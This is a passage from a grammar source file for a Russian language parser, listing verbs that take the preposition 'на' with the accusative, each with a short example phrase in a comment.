// пущать на постой rus_verbs:отклонить{}, // отклонить на несколько градусов rus_verbs:насмотреться{}, // насмотреться на безобразия rus_verbs:настроить{}, // настроить на короткие волны rus_verbs:уменьшиться{}, // уменьшиться на пару сантиметров rus_verbs:поменяться{}, // поменяться на другую книжку rus_verbs:расколоться{}, // расколоться на части rus_verbs:разлиться{}, // разлиться на землю rus_verbs:срываться{}, // срываться на жену rus_verbs:осудить{}, // осудить на пожизненное заключение rus_verbs:передвинуть{}, // передвинуть на первое место rus_verbs:допускаться{}, // допускаться на полигон rus_verbs:задвинуть{}, // задвинуть на полку rus_verbs:повлиять{}, // повлиять на оценку rus_verbs:отбавлять{}, // отбавлять на осмотр rus_verbs:сбрасывать{}, // сбрасывать на землю rus_verbs:накинуться{}, // накинуться на случайных прохожих rus_verbs:пролить{}, // пролить на кожу руки rus_verbs:затащить{}, // затащить на сеновал rus_verbs:перебежать{}, // перебежать на сторону противника rus_verbs:наливать{}, // наливать на скатерть rus_verbs:пролезть{}, // пролезть на сцену rus_verbs:откладывать{}, // откладывать на черный день rus_verbs:распадаться{}, // распадаться на небольшие фрагменты rus_verbs:перечислить{}, // перечислить на счет rus_verbs:закачаться{}, // закачаться на верхний уровень rus_verbs:накрениться{}, // накрениться на правый борт rus_verbs:подвинуться{}, // подвинуться на один уровень rus_verbs:разнести{}, // разнести на мелкие кусочки rus_verbs:зажить{}, // зажить на широкую ногу rus_verbs:оглохнуть{}, // оглохнуть на правое ухо rus_verbs:посетовать{}, // посетовать на бюрократизм rus_verbs:уводить{}, // уводить на осмотр rus_verbs:ускакать{}, // ускакать на забег rus_verbs:посветить{}, // посветить на стену rus_verbs:разрываться{}, // разрываться на части rus_verbs:побросать{}, // побросать на землю rus_verbs:карабкаться{}, // карабкаться на скалу rus_verbs:нахлынуть{}, // нахлынуть на кого-то rus_verbs:разлетаться{}, // разлетаться на мелкие осколочки rus_verbs:среагировать{}, // среагировать на сигнал rus_verbs:претендовать{}, // претендовать на приз rus_verbs:дунуть{}, // дунуть на одуванчик rus_verbs:переводиться{}, // переводиться на другую работу rus_verbs:перевезти{}, // перевезти на другую площадку rus_verbs:топать{}, // топать на урок rus_verbs:относить{}, // относить на склад rus_verbs:сбивать{}, // сбивать на землю rus_verbs:укладывать{}, // укладывать на спину rus_verbs:укатить{}, // укатить на отдых rus_verbs:убирать{}, // убирать на полку rus_verbs:опасть{}, // опасть на землю rus_verbs:ронять{}, // ронять на снег rus_verbs:пялиться{}, // пялиться на тело rus_verbs:глазеть{}, // глазеть на тело rus_verbs:снижаться{}, // снижаться на безопасную высоту rus_verbs:запрыгнуть{}, // запрыгнуть на платформу rus_verbs:разбиваться{}, // разбиваться на главы rus_verbs:сгодиться{}, // сгодиться на фарш rus_verbs:перескочить{}, // перескочить на другую страницу rus_verbs:нацелиться{}, // нацелиться на главную добычу rus_verbs:заезжать{}, // заезжать на бордюр rus_verbs:забираться{}, // забираться на крышу rus_verbs:проорать{}, // проорать на всё село rus_verbs:сбежаться{}, // сбежаться на шум rus_verbs:сменять{}, // сменять на хлеб rus_verbs:мотать{}, // мотать на ус rus_verbs:раскалываться{}, // раскалываться на две половинки rus_verbs:коситься{}, // коситься на режиссёра rus_verbs:плевать{}, // плевать на законы rus_verbs:ссылаться{}, // ссылаться на авторитетное мнение rus_verbs:наставить{}, // наставить на путь истинный rus_verbs:завывать{}, // завывать на Луну rus_verbs:опаздывать{}, // опаздывать на совещание rus_verbs:залюбоваться{}, // залюбоваться на пейзаж rus_verbs:повергнуть{}, // повергнуть на землю rus_verbs:надвинуть{}, // надвинуть на лоб rus_verbs:стекаться{}, // стекаться на площадь rus_verbs:обозлиться{}, // обозлиться на тренера rus_verbs:оттянуть{}, // оттянуть на себя rus_verbs:истратить{}, // истратить на дешевых шлюх rus_verbs:вышвырнуть{}, // вышвырнуть на улицу rus_verbs:затолкать{}, // затолкать на верхнюю полку rus_verbs:заскочить{}, // заскочить на огонек rus_verbs:проситься{}, // проситься на улицу rus_verbs:натыкаться{}, // натыкаться на борщевик rus_verbs:обрушиваться{}, // обрушиваться на митингующих rus_verbs:переписать{}, // переписать на чистовик rus_verbs:переноситься{}, // переноситься на другое устройство rus_verbs:напроситься{}, // напроситься на обидный ответ rus_verbs:натягивать{}, // натягивать на ноги rus_verbs:кидаться{}, // кидаться на прохожих rus_verbs:откликаться{}, // откликаться на призыв rus_verbs:поспевать{}, // поспевать на балет rus_verbs:обратиться{}, // обратиться на кафедру rus_verbs:полюбоваться{}, // полюбоваться на бюст rus_verbs:таращиться{}, // таращиться на мустангов rus_verbs:напороться{}, // напороться на колючки rus_verbs:раздать{}, // раздать на руки rus_verbs:дивиться{}, // дивиться на танцовщиц rus_verbs:назначать{}, // назначать на ответственнейший пост rus_verbs:кидать{}, // кидать на балкон rus_verbs:нахлобучить{}, // нахлобучить на башку rus_verbs:увлекать{}, // увлекать на луг rus_verbs:ругнуться{}, // ругнуться на животину rus_verbs:переселиться{}, // переселиться на хутор rus_verbs:разрывать{}, // разрывать на части rus_verbs:утащить{}, // утащить на дерево rus_verbs:наставлять{}, // наставлять на путь rus_verbs:соблазнить{}, // соблазнить на обмен rus_verbs:накладывать{}, // накладывать на рану rus_verbs:набрести{}, // набрести на грибную поляну rus_verbs:наведываться{}, // наведываться на прежнюю работу rus_verbs:погулять{}, // погулять на чужие деньги rus_verbs:уклоняться{}, // уклоняться на два градуса влево rus_verbs:слезать{}, // слезать на землю rus_verbs:клевать{}, // клевать на мотыля // rus_verbs:назначаться{}, // назначаться на пост rus_verbs:напялить{}, // напялить на голову rus_verbs:натянуться{}, // натянуться на рамку rus_verbs:разгневаться{}, // разгневаться на придворных rus_verbs:эмигрировать{}, // эмигрировать на Кипр rus_verbs:накатить{}, // накатить на основу rus_verbs:пригнать{}, // пригнать на пастбище rus_verbs:обречь{}, // обречь на мучения rus_verbs:сокращаться{}, // сокращаться на четверть rus_verbs:оттеснить{}, // оттеснить на пристань rus_verbs:подбить{}, // подбить на аферу rus_verbs:заманить{}, // заманить на дерево инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на кустик // деепричастие:пописав{ aux stress="поп^исать" }, rus_verbs:посходить{}, // посходить на перрон rus_verbs:налечь{}, // налечь на мясцо rus_verbs:отбирать{}, // отбирать на флот rus_verbs:нашептывать{}, // нашептывать на ухо rus_verbs:откладываться{}, // откладываться на будущее rus_verbs:залаять{}, // залаять на грабителя rus_verbs:настроиться{}, // настроиться на прием rus_verbs:разбивать{}, // разбивать на куски rus_verbs:пролиться{}, // пролиться на почву rus_verbs:сетовать{}, // сетовать на объективные трудности rus_verbs:подвезти{}, // подвезти на митинг rus_verbs:припереться{}, // припереться на праздник rus_verbs:подталкивать{}, // подталкивать на прыжок rus_verbs:прорываться{}, // прорываться на сцену rus_verbs:снижать{}, // снижать на несколько процентов rus_verbs:нацелить{}, // нацелить на танк rus_verbs:расколоть{}, // расколоть на два куска rus_verbs:увозить{}, // увозить на обкатку rus_verbs:оседать{}, // оседать на дно rus_verbs:съедать{}, // съедать на ужин rus_verbs:навлечь{}, // навлечь на себя rus_verbs:равняться{}, // равняться на лучших rus_verbs:сориентироваться{}, // сориентироваться на местности rus_verbs:снизить{}, // снизить на несколько процентов rus_verbs:перенестись{}, // перенестись на много лет назад rus_verbs:завезти{}, // завезти на склад rus_verbs:проложить{}, // проложить на гору rus_verbs:понадеяться{}, // понадеяться на удачу rus_verbs:заступить{}, // заступить на вахту rus_verbs:засеменить{}, // засеменить на выход rus_verbs:запирать{}, // запирать на ключ rus_verbs:скатываться{}, // скатываться на землю rus_verbs:дробить{}, // дробить на части rus_verbs:разваливаться{}, // разваливаться на кусочки rus_verbs:завозиться{}, // завозиться на склад rus_verbs:нанимать{}, // нанимать на дневную работу rus_verbs:поспеть{}, // поспеть на концерт rus_verbs:променять{}, // променять на сытость rus_verbs:переправить{}, // переправить на север rus_verbs:налетать{}, // налетать на силовое поле rus_verbs:затворить{}, // затворить на замок rus_verbs:подогнать{}, // подогнать на пристань rus_verbs:наехать{}, // наехать на камень rus_verbs:распевать{}, // распевать на разные голоса rus_verbs:разносить{}, // разносить на клочки rus_verbs:преувеличивать{}, // преувеличивать на много килограммов rus_verbs:хромать{}, // хромать на одну ногу rus_verbs:телеграфировать{}, // телеграфировать на базу rus_verbs:порезать{}, // порезать на лоскуты rus_verbs:порваться{}, // порваться на части rus_verbs:загонять{}, // загонять на дерево rus_verbs:отбывать{}, // отбывать на место службы rus_verbs:усаживаться{}, // усаживаться на трон rus_verbs:накопить{}, // накопить на квартиру rus_verbs:зыркнуть{}, // зыркнуть на визитера rus_verbs:копить{}, // копить на машину rus_verbs:помещать{}, // помещать на верхнюю грань rus_verbs:сползать{}, // сползать на снег rus_verbs:попроситься{}, // попроситься на улицу rus_verbs:перетащить{}, // перетащить на чердак rus_verbs:растащить{}, // растащить на сувениры rus_verbs:ниспадать{}, // ниспадать на землю rus_verbs:сфотографировать{}, // сфотографировать на память rus_verbs:нагонять{}, // нагонять на конкурентов страх rus_verbs:покушаться{}, // покушаться на понтифика rus_verbs:покуситься{}, rus_verbs:наняться{}, // наняться на службу rus_verbs:просачиваться{}, // просачиваться на поверхность rus_verbs:пускаться{}, // пускаться на ветер rus_verbs:отваживаться{}, // отваживаться на прыжок rus_verbs:досадовать{}, // досадовать на объективные трудности rus_verbs:унестись{}, // унестись на небо rus_verbs:ухудшаться{}, // ухудшаться на несколько процентов rus_verbs:насадить{}, // насадить на копьё rus_verbs:нагрянуть{}, // нагрянуть на праздник rus_verbs:зашвырнуть{}, // зашвырнуть на полку rus_verbs:грешить{}, // грешить на постояльцев rus_verbs:просочиться{}, // просочиться на поверхность rus_verbs:надоумить{}, // надоумить на глупость rus_verbs:намотать{}, // намотать на шпиндель rus_verbs:замкнуть{}, // замкнуть на корпус rus_verbs:цыкнуть{}, // цыкнуть на детей rus_verbs:переворачиваться{}, // переворачиваться на спину rus_verbs:соваться{}, // соваться на площать rus_verbs:отлучиться{}, // отлучиться на обед rus_verbs:пенять{}, // пенять на себя rus_verbs:нарезать{}, // нарезать на ломтики rus_verbs:поставлять{}, // поставлять на Кипр rus_verbs:залезать{}, // залезать на балкон rus_verbs:отлучаться{}, // отлучаться на обед rus_verbs:сбиваться{}, // сбиваться на шаг rus_verbs:таращить{}, // таращить глаза на вошедшего rus_verbs:прошмыгнуть{}, // прошмыгнуть на кухню rus_verbs:опережать{}, // опережать на пару сантиметров rus_verbs:переставить{}, // переставить на стол rus_verbs:раздирать{}, // раздирать на части rus_verbs:затвориться{}, // затвориться на засовы rus_verbs:материться{}, // материться на кого-то rus_verbs:наскочить{}, // наскочить на риф rus_verbs:набираться{}, // набираться на борт rus_verbs:покрикивать{}, // покрикивать на помощников rus_verbs:заменяться{}, // заменяться на более новый rus_verbs:подсадить{}, // подсадить на верхнюю полку rus_verbs:проковылять{}, // проковылять на кухню rus_verbs:прикатить{}, // прикатить на старт rus_verbs:залететь{}, // залететь на чужую территорию rus_verbs:загрузить{}, // загрузить на конвейер rus_verbs:уплывать{}, // уплывать на материк rus_verbs:опозорить{}, // опозорить на всю деревню rus_verbs:провоцировать{}, // провоцировать на ответную агрессию rus_verbs:забивать{}, // забивать на учебу rus_verbs:набегать{}, // набегать на прибрежные деревни rus_verbs:запираться{}, // запираться на ключ rus_verbs:фотографировать{}, // фотографировать на мыльницу rus_verbs:подымать{}, // подымать на недосягаемую высоту rus_verbs:съезжаться{}, // съезжаться на симпозиум rus_verbs:отвлекаться{}, // отвлекаться на игру rus_verbs:проливать{}, // проливать на брюки rus_verbs:спикировать{}, // спикировать на зазевавшегося зайца rus_verbs:уползти{}, // уползти на вершину холма rus_verbs:переместить{}, // переместить на вторую палубу rus_verbs:превысить{}, // превысить на несколько метров rus_verbs:передвинуться{}, // передвинуться на соседнюю клетку rus_verbs:спровоцировать{}, // спровоцировать на бросок rus_verbs:сместиться{}, // сместиться на соседнюю клетку rus_verbs:заготовить{}, // заготовить на зиму rus_verbs:плеваться{}, // плеваться на пол rus_verbs:переселить{}, // переселить на север rus_verbs:напирать{}, // напирать на дверь rus_verbs:переезжать{}, // переезжать на другой этаж rus_verbs:приподнимать{}, // приподнимать на несколько сантиметров rus_verbs:трогаться{}, // трогаться на красный свет rus_verbs:надвинуться{}, // надвинуться на глаза rus_verbs:засмотреться{}, // засмотреться на купальники rus_verbs:убыть{}, // убыть на фронт rus_verbs:передвигать{}, // передвигать на второй уровень rus_verbs:отвозить{}, // отвозить на свалку rus_verbs:обрекать{}, // обрекать на гибель rus_verbs:записываться{}, // записываться на танцы rus_verbs:настраивать{}, // настраивать на другой диапазон rus_verbs:переписывать{}, // переписывать на диск rus_verbs:израсходовать{}, // израсходовать на гонки rus_verbs:обменять{}, // обменять на перспективного игрока rus_verbs:трубить{}, // трубить на всю округу rus_verbs:набрасываться{}, // набрасываться на жертву rus_verbs:чихать{}, // чихать на правила rus_verbs:наваливаться{}, // наваливаться на рычаг rus_verbs:сподобиться{}, // сподобиться на повторный анализ rus_verbs:намазать{}, // намазать на хлеб rus_verbs:прореагировать{}, // прореагировать на вызов rus_verbs:зачислить{}, // зачислить на факультет rus_verbs:наведаться{}, // наведаться на склад rus_verbs:откидываться{}, // откидываться на спинку кресла rus_verbs:захромать{}, // захромать на левую ногу rus_verbs:перекочевать{}, // перекочевать на другой берег rus_verbs:накатываться{}, // накатываться на песчаный берег rus_verbs:приостановить{}, // приостановить на некоторое время rus_verbs:запрятать{}, // запрятать на верхнюю полочку rus_verbs:прихрамывать{}, // прихрамывать на правую ногу rus_verbs:упорхнуть{}, // упорхнуть на свободу rus_verbs:расстегивать{}, // расстегивать на пальто rus_verbs:напуститься{}, // напуститься на бродягу rus_verbs:накатывать{}, // накатывать на оригинал rus_verbs:наезжать{}, // наезжать на простофилю rus_verbs:тявкнуть{}, // тявкнуть на подошедшего человека rus_verbs:отрядить{}, // отрядить на починку rus_verbs:положиться{}, // положиться на главаря rus_verbs:опрокидывать{}, // опрокидывать на голову rus_verbs:поторапливаться{}, // поторапливаться на рейс rus_verbs:налагать{}, // налагать на заемщика rus_verbs:скопировать{}, // скопировать на диск rus_verbs:опадать{}, // опадать на землю rus_verbs:купиться{}, // купиться на посулы rus_verbs:гневаться{}, // гневаться на слуг rus_verbs:слететься{}, // слететься на раздачу rus_verbs:убавить{}, // убавить на два уровня rus_verbs:спихнуть{}, // спихнуть на соседа rus_verbs:накричать{}, // накричать на ребенка rus_verbs:приберечь{}, // приберечь на ужин rus_verbs:приклеить{}, // приклеить на ветровое стекло rus_verbs:ополчиться{}, // ополчиться на посредников rus_verbs:тратиться{}, // тратиться на сувениры rus_verbs:слетаться{}, // слетаться на свет rus_verbs:доставляться{}, // доставляться на базу rus_verbs:поплевать{}, // поплевать на руки rus_verbs:огрызаться{}, // огрызаться на замечание rus_verbs:попереться{}, // попереться на рынок rus_verbs:растягиваться{}, // растягиваться на полу rus_verbs:повергать{}, // повергать на землю rus_verbs:ловиться{}, // ловиться на мотыля rus_verbs:наседать{}, // наседать на обороняющихся rus_verbs:развалить{}, // развалить на кирпичи rus_verbs:разломить{}, // разломить на несколько частей rus_verbs:примерить{}, // примерить на себя rus_verbs:лепиться{}, // лепиться на стену rus_verbs:скопить{}, // скопить на старость rus_verbs:затратить{}, // затратить на ликвидацию последствий rus_verbs:притащиться{}, // притащиться на гулянку rus_verbs:осерчать{}, // осерчать на прислугу rus_verbs:натравить{}, // натравить на медведя rus_verbs:ссыпать{}, // ссыпать на землю rus_verbs:подвозить{}, // подвозить на пристань rus_verbs:мобилизовать{}, // мобилизовать на сборы rus_verbs:смотаться{}, // смотаться на работу rus_verbs:заглядеться{}, // заглядеться на девчонок rus_verbs:таскаться{}, // таскаться на работу rus_verbs:разгружать{}, // разгружать на транспортер rus_verbs:потреблять{}, // потреблять на кондиционирование инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять на базу деепричастие:сгоняв{}, rus_verbs:посылаться{}, // посылаться на разведку rus_verbs:окрыситься{}, // окрыситься на кого-то rus_verbs:отлить{}, // отлить на сковороду rus_verbs:шикнуть{}, // шикнуть на детишек rus_verbs:уповать{}, // уповать на бескорысную помощь rus_verbs:класться{}, // класться на стол rus_verbs:поковылять{}, // поковылять на выход rus_verbs:навевать{}, // навевать на собравшихся скуку rus_verbs:накладываться{}, // накладываться на грунтовку rus_verbs:наноситься{}, // наноситься на чистую кожу // rus_verbs:запланировать{}, // запланировать на среду rus_verbs:кувыркнуться{}, // кувыркнуться на землю rus_verbs:гавкнуть{}, // гавкнуть на хозяина rus_verbs:перестроиться{}, // перестроиться на новый лад rus_verbs:расходоваться{}, // расходоваться на образование rus_verbs:дуться{}, // дуться на бабушку rus_verbs:перетаскивать{}, // перетаскивать на рабочий стол rus_verbs:издаться{}, // издаться на деньги спонсоров rus_verbs:смещаться{}, // смещаться на несколько миллиметров rus_verbs:зазывать{}, // зазывать на новогоднюю распродажу rus_verbs:пикировать{}, // пикировать на окопы rus_verbs:чертыхаться{}, // чертыхаться на мешающихся детей rus_verbs:зудить{}, // зудить на ухо rus_verbs:подразделяться{}, // подразделяться на группы rus_verbs:изливаться{}, // изливаться на землю rus_verbs:помочиться{}, // помочиться на траву rus_verbs:примерять{}, // примерять на себя rus_verbs:разрядиться{}, // разрядиться на землю rus_verbs:мотнуться{}, // мотнуться на крышу rus_verbs:налегать{}, // налегать на весла rus_verbs:зацокать{}, // зацокать на куриц rus_verbs:наниматься{}, // наниматься на корабль rus_verbs:сплевывать{}, // сплевывать на землю rus_verbs:настучать{}, // настучать на саботажника rus_verbs:приземляться{}, // приземляться на брюхо rus_verbs:наталкиваться{}, // наталкиваться на объективные трудности rus_verbs:посигналить{}, // посигналить нарушителю, выехавшему на встречную полосу rus_verbs:серчать{}, // серчать на нерасторопную помощницу rus_verbs:сваливать{}, // сваливать на подоконник rus_verbs:засобираться{}, // засобираться на работу rus_verbs:распилить{}, // распилить на одинаковые бруски //rus_verbs:умножать{}, // умножать на константу rus_verbs:копировать{}, // копировать на диск rus_verbs:накрутить{}, // накрутить на руку rus_verbs:навалить{}, // навалить на телегу rus_verbs:натолкнуть{}, // натолкнуть на свежую мысль rus_verbs:шлепаться{}, // шлепаться на бетон rus_verbs:ухлопать{}, // ухлопать на скупку произведений искусства rus_verbs:замахиваться{}, // замахиваться на авторитетнейшее мнение rus_verbs:посягнуть{}, // посягнуть на святое rus_verbs:разменять{}, // разменять на мелочь rus_verbs:откатываться{}, // откатываться на заранее подготовленные позиции rus_verbs:усаживать{}, // усаживать на скамейку rus_verbs:натаскать{}, // натаскать на поиск наркотиков rus_verbs:зашикать{}, // зашикать на кошку rus_verbs:разломать{}, // разломать на равные части rus_verbs:приглашаться{}, // приглашаться на сцену rus_verbs:присягать{}, // присягать на верность rus_verbs:запрограммировать{}, // запрограммировать на постоянную уборку rus_verbs:расщедриться{}, // расщедриться на новый компьютер rus_verbs:насесть{}, // насесть на двоечников rus_verbs:созывать{}, // созывать на собрание rus_verbs:позариться{}, // позариться на чужое добро rus_verbs:перекидываться{}, // перекидываться на соседние здания rus_verbs:наползать{}, // наползать на неповрежденную ткань rus_verbs:изрубить{}, // изрубить на мелкие кусочки rus_verbs:наворачиваться{}, // наворачиваться на глаза rus_verbs:раскричаться{}, // раскричаться на всю округу rus_verbs:переползти{}, // переползти на светлую сторону rus_verbs:уполномочить{}, // уполномочить на разведовательную операцию rus_verbs:мочиться{}, // мочиться на трупы убитых врагов rus_verbs:радировать{}, // радировать на базу rus_verbs:промотать{}, // промотать на начало rus_verbs:заснять{}, // заснять на видео rus_verbs:подбивать{}, // подбивать на матч-реванш rus_verbs:наплевать{}, // наплевать на справедливость rus_verbs:подвывать{}, // подвывать на луну rus_verbs:расплескать{}, // расплескать на пол rus_verbs:польститься{}, // польститься на бесплатный сыр rus_verbs:помчать{}, // помчать на работу rus_verbs:съезжать{}, // съезжать на обочину rus_verbs:нашептать{}, // нашептать кому-то на ухо rus_verbs:наклеить{}, // наклеить на доску объявлений rus_verbs:завозить{}, // завозить на склад rus_verbs:заявляться{}, // заявляться на любимую работу rus_verbs:наглядеться{}, // наглядеться на воробьев rus_verbs:хлопнуться{}, // хлопнуться на живот rus_verbs:забредать{}, // забредать на поляну rus_verbs:посягать{}, // посягать на исконные права собственности rus_verbs:сдвигать{}, // сдвигать на одну позицию rus_verbs:спрыгивать{}, // спрыгивать на землю rus_verbs:сдвигаться{}, // сдвигаться на две позиции rus_verbs:разделать{}, // разделать на орехи rus_verbs:разлагать{}, // разлагать на элементарные элементы rus_verbs:обрушивать{}, // обрушивать на головы врагов rus_verbs:натечь{}, // натечь на пол rus_verbs:политься{}, // вода польется на землю rus_verbs:успеть{}, // Они успеют на поезд. инфинитив:мигрировать{ вид:несоверш }, глагол:мигрировать{ вид:несоверш }, деепричастие:мигрируя{}, инфинитив:мигрировать{ вид:соверш }, глагол:мигрировать{ вид:соверш }, деепричастие:мигрировав{}, rus_verbs:двинуться{}, // Мы скоро двинемся на дачу. rus_verbs:подойти{}, // Он не подойдёт на должность секретаря. rus_verbs:потянуть{}, // Он не потянет на директора. rus_verbs:тянуть{}, // Он не тянет на директора. rus_verbs:перескакивать{}, // перескакивать с одного примера на другой rus_verbs:жаловаться{}, // Он жалуется на нездоровье. rus_verbs:издать{}, // издать на деньги спонсоров rus_verbs:показаться{}, // показаться на глаза rus_verbs:высаживать{}, // высаживать на необитаемый остров rus_verbs:вознестись{}, // вознестись на самую вершину славы rus_verbs:залить{}, // залить на youtube rus_verbs:закачать{}, // закачать на youtube rus_verbs:сыграть{}, // сыграть на деньги rus_verbs:экстраполировать{}, // Формулу можно экстраполировать на случай нескольких переменных инфинитив:экстраполироваться{ вид:несоверш}, // Ситуация легко экстраполируется на случай нескольких переменных глагол:экстраполироваться{ вид:несоверш}, инфинитив:экстраполироваться{ вид:соверш}, глагол:экстраполироваться{ вид:соверш}, деепричастие:экстраполируясь{}, инфинитив:акцентировать{вид:соверш}, // оратор акцентировал внимание слушателей на новый аспект проблемы глагол:акцентировать{вид:соверш}, инфинитив:акцентировать{вид:несоверш}, глагол:акцентировать{вид:несоверш}, прилагательное:акцентировавший{вид:несоверш}, //прилагательное:акцентировавший{вид:соверш}, прилагательное:акцентирующий{}, деепричастие:акцентировав{}, деепричастие:акцентируя{}, rus_verbs:бабахаться{}, // он бабахался на пол rus_verbs:бабахнуться{}, // мальчил бабахнулся на асфальт rus_verbs:батрачить{}, // Крестьяне батрачили на хозяина rus_verbs:бахаться{}, // Наездники бахались на землю rus_verbs:бахнуться{}, // Наездник опять бахнулся на землю rus_verbs:благословить{}, // батюшка благословил отрока на подвиг rus_verbs:благословлять{}, // батюшка благословляет отрока на подвиг rus_verbs:блевануть{}, // Он блеванул на землю rus_verbs:блевать{}, // Он блюет на землю rus_verbs:бухнуться{}, // Наездник бухнулся на землю rus_verbs:валить{}, // Ветер валил деревья на землю rus_verbs:спилить{}, // Спиленное дерево валится на землю rus_verbs:ввезти{}, // Предприятие ввезло товар на таможню rus_verbs:вдохновить{}, // Фильм вдохновил мальчика на поход в лес rus_verbs:вдохновиться{}, // Мальчик вдохновился на поход rus_verbs:вдохновлять{}, // Фильм вдохновляет на поход в лес rus_verbs:вестись{}, // Не ведись на эти уловки! rus_verbs:вешать{}, // Гости вешают одежду на вешалку rus_verbs:вешаться{}, // Одежда вешается на вешалки rus_verbs:вещать{}, // радиостанция вещает на всю страну rus_verbs:взбираться{}, // Туристы взбираются на заросший лесом холм rus_verbs:взбредать{}, // Что иногда взбредает на ум rus_verbs:взбрести{}, // Что-то взбрело на ум rus_verbs:взвалить{}, // Мама взвалила на свои плечи всё домашнее хозяйство rus_verbs:взваливаться{}, // Все домашнее хозяйство взваливается на мамины плечи rus_verbs:взваливать{}, // Не надо взваливать всё на мои плечи rus_verbs:взглянуть{}, // Кошка взглянула на мышку rus_verbs:взгромождать{}, // Мальчик взгромождает стул на стол rus_verbs:взгромождаться{}, // Мальчик взгромождается на стол rus_verbs:взгромоздить{}, // Мальчик взгромоздил стул на стол rus_verbs:взгромоздиться{}, // Мальчик взгромоздился на стул rus_verbs:взирать{}, // Очевидцы взирали на непонятный объект rus_verbs:взлетать{}, // Фабрика фейерверков взлетает на воздух rus_verbs:взлететь{}, // Фабрика фейерверков взлетела на воздух rus_verbs:взобраться{}, // Туристы взобрались на гору rus_verbs:взойти{}, // Туристы взошли на гору rus_verbs:взъесться{}, // Отец взъелся на непутевого сына rus_verbs:взъяриться{}, // Отец взъярился на непутевого сына rus_verbs:вкатить{}, // рабочие вкатили бочку на пандус rus_verbs:вкатывать{}, // рабочик вкатывают бочку на пандус rus_verbs:влиять{}, // Это решение влияет на всех игроков рынка rus_verbs:водворить{}, // водворить нарушителя на место rus_verbs:водвориться{}, // водвориться на свое место rus_verbs:водворять{}, // водворять вещь на свое место rus_verbs:водворяться{}, // водворяться на свое место rus_verbs:водружать{}, // водружать флаг на флагшток rus_verbs:водружаться{}, // Флаг водружается на флагшток rus_verbs:водрузить{}, // водрузить флаг на флагшток rus_verbs:водрузиться{}, // Флаг водрузился на вершину горы rus_verbs:воздействовать{}, // Излучение воздействует на кожу rus_verbs:воззреть{}, // воззреть на поле боя rus_verbs:воззриться{}, // воззриться на поле боя rus_verbs:возить{}, // возить туристов на гору rus_verbs:возлагать{}, // Многочисленные посетители возлагают цветы на могилу rus_verbs:возлагаться{}, // Ответственность возлагается на начальство rus_verbs:возлечь{}, // возлечь на лежанку rus_verbs:возложить{}, // возложить цветы на могилу поэта rus_verbs:вознести{}, // вознести кого-то на вершину славы rus_verbs:возноситься{}, // возносится на вершину успеха rus_verbs:возносить{}, // возносить счастливчика на вершину успеха rus_verbs:подниматься{}, // Мы поднимаемся на восьмой этаж rus_verbs:подняться{}, // Мы поднялись на восьмой этаж rus_verbs:вонять{}, // Кусок сыра воняет на всю округу rus_verbs:воодушевлять{}, // Идеалы воодушевляют на подвиги rus_verbs:воодушевляться{}, // Люди воодушевляются на подвиги rus_verbs:ворчать{}, // Старый пес ворчит на прохожих rus_verbs:воспринимать{}, // воспринимать сообщение на слух rus_verbs:восприниматься{}, // сообщение плохо воспринимается на слух rus_verbs:воспринять{}, // воспринять сообщение на слух rus_verbs:восприняться{}, // восприняться на слух rus_verbs:воссесть{}, // Коля воссел на трон rus_verbs:вправить{}, // вправить мозг на место rus_verbs:вправлять{}, // вправлять мозги на место rus_verbs:временить{}, // временить с выходом на пенсию rus_verbs:врубать{}, // врубать на полную мощность rus_verbs:врубить{}, // врубить на полную мощность rus_verbs:врубиться{}, // врубиться на полную мощность rus_verbs:врываться{}, // врываться на собрание rus_verbs:вскарабкаться{}, // вскарабкаться на утёс rus_verbs:вскарабкиваться{}, // вскарабкиваться на утёс rus_verbs:вскочить{}, // вскочить на ноги rus_verbs:всплывать{}, // всплывать на поверхность воды rus_verbs:всплыть{}, // всплыть на поверхность воды rus_verbs:вспрыгивать{}, // вспрыгивать на платформу rus_verbs:вспрыгнуть{}, // вспрыгнуть на платформу rus_verbs:встать{}, // встать на защиту чести и достоинства rus_verbs:вторгаться{}, // вторгаться на чужую территорию rus_verbs:вторгнуться{}, // вторгнуться на чужую территорию rus_verbs:въезжать{}, // въезжать на пандус rus_verbs:наябедничать{}, // наябедничать на соседа по парте rus_verbs:выблевать{}, // выблевать завтрак на пол rus_verbs:выблеваться{}, // выблеваться на пол rus_verbs:выблевывать{}, // выблевывать завтрак на пол rus_verbs:выблевываться{}, // выблевываться на пол rus_verbs:вывезти{}, // вывезти мусор на свалку rus_verbs:вывесить{}, // вывесить белье на просушку rus_verbs:вывести{}, // вывести собаку на прогулку rus_verbs:вывешивать{}, // вывешивать белье на веревку rus_verbs:вывозить{}, // вывозить детей на природу rus_verbs:вызывать{}, // Начальник вызывает на ковер rus_verbs:выйти{}, // выйти на свободу rus_verbs:выкладывать{}, // выкладывать на всеобщее обозрение rus_verbs:выкладываться{}, // выкладываться на всеобщее обозрение rus_verbs:выливать{}, // выливать на землю rus_verbs:выливаться{}, // выливаться на землю rus_verbs:вылить{}, // вылить жидкость на землю rus_verbs:вылиться{}, // Топливо вылилось на землю rus_verbs:выложить{}, // выложить на берег rus_verbs:выменивать{}, // выменивать золото на хлеб rus_verbs:вымениваться{}, // Золото выменивается на хлеб rus_verbs:выменять{}, // выменять золото на хлеб rus_verbs:выпадать{}, // снег выпадает на землю rus_verbs:выплевывать{}, // выплевывать на землю rus_verbs:выплевываться{}, // выплевываться на землю rus_verbs:выплескать{}, // выплескать на землю rus_verbs:выплескаться{}, // выплескаться на землю rus_verbs:выплескивать{}, // выплескивать на землю rus_verbs:выплескиваться{}, // выплескиваться на землю rus_verbs:выплывать{}, // выплывать на поверхность rus_verbs:выплыть{}, // выплыть на поверхность rus_verbs:выплюнуть{}, // выплюнуть на пол rus_verbs:выползать{}, // выползать на свежий воздух rus_verbs:выпроситься{}, // выпроситься на улицу rus_verbs:выпрыгивать{}, // выпрыгивать на свободу rus_verbs:выпрыгнуть{}, // выпрыгнуть на перрон rus_verbs:выпускать{}, // выпускать на свободу rus_verbs:выпустить{}, // выпустить на свободу rus_verbs:выпучивать{}, // выпучивать на кого-то глаза rus_verbs:выпучиваться{}, // глаза выпучиваются на кого-то rus_verbs:выпучить{}, // выпучить глаза на кого-то rus_verbs:выпучиться{}, // выпучиться на кого-то rus_verbs:выронить{}, // выронить на землю rus_verbs:высадить{}, // высадить на берег rus_verbs:высадиться{}, // высадиться на берег rus_verbs:высаживаться{}, // высаживаться на остров rus_verbs:выскальзывать{}, // выскальзывать на землю rus_verbs:выскочить{}, // выскочить на сцену 